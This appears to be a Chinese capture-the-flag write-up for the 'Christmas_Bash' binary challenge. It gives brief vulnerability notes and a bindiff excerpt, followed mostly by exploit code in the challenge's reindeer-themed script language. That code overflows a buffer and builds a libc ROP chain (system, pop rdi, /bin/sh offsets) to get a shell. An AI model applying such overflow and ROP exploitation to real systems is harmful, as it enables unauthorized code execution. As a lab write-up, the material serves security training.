Christmas_Bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=08532310743c29a6ad38c1ca2f363e69856f4f9e, for GNU/Linux 3.2.0, with debug_info, not stripped Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
64位,dynamically,Full RELRO,NX,PIE
漏洞分析
先用 cmake 进行编译:
1 2 3 4
mkdir build cd build cmake .. make
然后用 bindiff 对比改动的地方
1 2 3 4 5
if (is_func("Rudolph")){ // ret = write(arg1, arg2, arg3); // No talking while singing Christmas Songs printf("error: \n%s\n", rudolph); }
gift aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbcccccccc is 1;
gift file is "./exp.scom"; gift fileo is "./overflow.scom"; gift oflag is 66; gift mode is 432; gift fd is 0; gift fdo is 0;
gift header is "111111111111111111111111111111111111"; gift size is 36;
gift var is "12345678"; gift offset is 112; gift var is var + offset;
reindeer Dancer delivering gift file oflag mode brings back gift fd; reindeer Dancer delivering gift fileo oflag mode brings back gift fdo; reindeer Dasher delivering gift fdo header size; reindeer Rudolph delivering gift fd header size;
gift pad is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; gift size is 64; reindeer Rudolph delivering gift fd pad size; gift size is 64; reindeer Rudolph delivering gift fd pad size; gift size is 64; reindeer Rudolph delivering gift fd pad size; gift size is 64; reindeer Rudolph delivering gift fd pad size; gift size is 64; reindeer Rudolph delivering gift fd pad size;
gift pad is "bbbbbbbbbbbb"; gift size is 12; reindeer Rudolph delivering gift fd pad size;
gift size is 7; reindeer Rudolph delivering gift fd var size;
gift libcbase is sleep - 959968; gift system is libcbase + 331104; gift poprdi is libcbase + 173029; gift ret is libcbase + 171222; gift binsh is libcbase + 1935000;
gift tmp is 8;
gift file is "./exp.scom"; gift fileo is "./overflow.scom"; gift oflag is 66; gift mode is 432; gift fd is 0; gift fdo is 0;
gift header is "111111111111111111111111111111111111"; gift size is 36;
gift var is "12345678"; gift offset is 312; gift arg is var + offset;
reindeer Dancer delivering gift file oflag mode brings back gift fd; reindeer Dancer delivering gift fileo oflag mode brings back gift fdo; reindeer Dasher delivering gift fdo header size; reindeer Rudolph delivering gift fd header size;
gift pad is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; gift size is 64; reindeer Rudolph delivering gift fd pad size; gift size is 64; reindeer Rudolph delivering gift fd pad size; gift size is 64; reindeer Rudolph delivering gift fd pad size; gift size is 64; reindeer Rudolph delivering gift fd pad size; gift size is 64; reindeer Rudolph delivering gift fd pad size; gift pad is "bbbbbbbbbbbb"; gift size is 12; reindeer Rudolph delivering gift fd pad size; gift size is 7; reindeer Rudolph delivering gift fd arg size;
gift size is 8; gift offset is 1864; gift arga is var + offset; gift arg is arg - 272; reindeer Vixen delivering gift arg arga size;
gift size is 8; gift offset is 2120; gift arga is var + offset; gift arg is arg + 8; reindeer Vixen delivering gift arg arga size;
gift size is 8; gift offset is 2008; gift arga is var + offset; gift arg is arg + 8; reindeer Vixen delivering gift arg arga size;
gift size is 8; gift offset is 1928; gift arga is var + offset; gift arg is arg + 8; reindeer Vixen delivering gift arg arga size;